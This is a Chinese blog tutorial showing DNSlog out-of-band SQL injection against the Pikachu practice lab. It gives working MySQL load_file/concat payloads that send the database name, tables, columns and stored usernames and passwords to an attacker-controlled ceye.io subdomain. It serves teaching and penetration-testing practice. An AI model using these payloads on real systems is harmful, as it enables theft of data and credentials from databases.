首页 > 数据库 >sql注入-DNSlog注入

sql注入-DNSlog注入

时间:2023-05-31 18:22:15浏览次数:42  
标签:load DNSlog io abc file sql ceye select 注入

sql注入-DNSlog注入

使用场景:

由于在盲注过程中,手工测试需要花费大量的时间,我们可能会想到使用sqlmap直接去跑出数据

但在实际测试中,使用sqlmap跑盲注,发包太多,网站很可能把ip给封掉,也许你会考虑使用代理池

这个时候可以尝试利用DNSlog注入,可以快速得到结果

原理:

在某些无法直接利用漏洞获得回显,或sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截的情况下,如果目标可以发起DNS请求,此时可通过DNSlog把想获得的数据外带出来,在DNSlog日志中查看

条件:

1.SQL服务器能连接网络;

2.开启了LOAD_FILE() 读取文件的函数


 

DNSLog注入配置:

1.注册域名

首先需要有一个可以配置的域名,比如:xxx.io,可以在DNSlog网站上申请

http://ceye.io

fig:

2.数据库配置

mysql -uroot -proot # 进入mysql

fig:

show variables like '%secure%'; # 查看load_file()可以读取的磁盘

  1. 当secure_file_priv为空,就可以读取磁盘的目录
  2. 当secure_file_priv为G:\,就可以读取G盘的文件
  3. 当secure_file_priv为null,load_file就不能加载文件

fig:

通过设置my.ini来配置(my.ini默认在mysql实例文件的根路径下,我使用的是小皮)

fig:

改为如下,如果没有直接添加就好

secure_file_priv="";

fig:

show variables like '%secure%';

查看为如下情况即可

fig:


 

注入流程

通过pikachu的字符型注入复现

1.获取数据库

构造语句1' and (select load_file(concat('////',(select database()),'.xxx.ceye.io/abc')))#

load_file() # 读取文件内容
select database() # 注入语句,可以替换常规的sql注入语句
.xxx.ceye.io/abc # 构成一个新的域名,让load_file()发起请求,从而把带有数据库查询结果的域名提交到DNS服务器进行解析

xxx.ceye.io为自己的域名

fig:

通过CEYE可以看到爆出了数据库名pikachu

fig:

2.获取表

构造语句,获取到第一张表httpinfo,但不是我们需要的

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),'.xxx.ceye.io/abc')))#

fig:

继续获取第二张,得到member

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

fig:

第四张users

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

fig:

3.获取列

构造语句

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='member' limit 1,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='member' limit 2,1),'.17lqi1.ceye.io/abc')))#

第二列获取member的username,第三列获取pw

fig:

fig:

同理获取users的列,但爆出的字段好像不太对

fig:

可能是表重名了,试着加上指定数据库,就正常多了

获取到了users表的username和password

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 2,1),'.17lqi1.ceye.io/abc')))#

fig:

fig:

4.获取数据

构造语句获取member的username和pw数据

1' and (select load_file(concat('////',(select username from member limit 0,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select pw from member limit 0,1),'.17lqi1.ceye.io/abc')))#

fig:

fig:

以及users的username和password数据

1' and (select load_file(concat('////',(select username from users limit 0,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select password from users limit 0,1),'.17lqi1.ceye.io/abc')))#

fig:

fig:

标签:load,DNSlog,io,abc,file,sql,ceye,select,注入
From: https://www.cnblogs.com/Iwakura-Lain/p/17447001.html

相关文章

  • sqli-labs 27到30
    第27题发现对select和union都进行了顾虑select双写也进行了过滤但是三写没有过滤哈哈(颇有种赖皮的感觉)刚学到一手可以用%00绕过注释符过滤。?id='uunionnion(sseselectlectelect(1),(database()),(1));%00http://localhost/sqli-labs-php7-master/Less-27?id='uunion......
  • MySQL之常用数据类型
    一:MySQL中基本数据类型MySQL数据库表中的每一列都必须具有名称和数据类型。据类型是一个标签,它可以告知存储什么类型的数据,它也标识了SQL如何与存储的数据进行交互。MySQL数据库支持所有标准SQL数值数据类型,涉及大概11种类MySQL数据类型。整数类型:TINYINT、SMALLINT、MED......
  • php查询单个sql
    要查询单个SQL,可以使用PHP中的mysqli扩展或PDO扩展来连接数据库并执行查询操作。以下是一个示例代码://连接数据库$servername="localhost";$username="username";$password="password";$dbname="myDB";$conn=newmysqli($servername,$username,$pass......
  • mysql截取字段
    mysql截取字段:mysql索引从1开始1.从左边截取lengthleft(str,length)length>=02.从右边截取lengthright(str,length)length>=03.substring(str,index)当index>0从左边开始截取直到结束当index<0从右边开始截取直到结束当index=0返回空4.substri......
  • mysql数据类型转换
    AST函数用于将某种数据类型的表达式显式转换为另一种数据类型。CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。一、语法:CAST(expressionASdata_type)参数说明:expression:任何有效的SQServer表达式。AS:用于分隔两个参数,在AS之前的是要处理的数据,......
  • mysql自定义变量
    1.自定义变量语法:set@变量名:=值;(冒号可以不加)或者select@变量名:=值;(冒号必须加);使用方法:select@变量名;2.基础知识(用了变量后就是先排序):mysql语句的执行顺序:正常是先查询后排序,但是如果使用了变量,就是先排序后查询1)先查询后排序:selectgender,first_nameasname,age......
  • Greenplum——升级的分布式PostgresSQL
    Greenplum数据库基于PostgreSQL开源技术。本质上讲,它是多个PostgreSQL实例一起充当一个数据库管理系统。Greenplum以PostgreSQL8.2.15为基础构建,在SQL支持、特性、配置选项和终端用户功能方面非常像PostgreSQL,用户操作Greenplum就跟平常操作PostgreSQL一样。不过,为了支持Greenplum......
  • MS SQL Server 可能会遇到一些瓶颈问题,具体如下:
    MSSQLServer可能会遇到一些瓶颈问题,具体如下:CPU瓶颈:一个拥有高并发交易的大规模系统往往需要处理大量的数据请求。当系统负载较高时,处理器可能会成为瓶颈,导致应用程序性能下降。内存瓶颈:MSSQLServer在处理大量数据时需要使用内存,如果系统中内存不足,则可能会导致性能......
  • MS SQL Server 中的存储过程是一种预编译的代码块,可以接收输入参数并返回输出结果,用于
    MSSQLServer中的存储过程是一种预编译的代码块,可以接收输入参数并返回输出结果,用于完成特定的数据库操作。它们是SQLServer中存储逻辑业务的一种常见方式。下面是存储过程的优势和劣势:优势:更高的性能:存储过程在首次执行时会被编译和优化,然后将编译后的执行计划缓存起来,......
  • Streamsets读取binlog数据实时同步到MySQL
    原文:https://blog.csdn.net/maomaosi2009/article/details/1082932171、说明实时同步binlog数据到MySQL我使用了2种方式,2、方式一第一种方式较为繁琐,数据从binlog流出,经过JS数据解析器将必要的字段解析出来,流入操作选择器,根据具体需要执行的增删改操作选择最后的JDBCProducer,pi......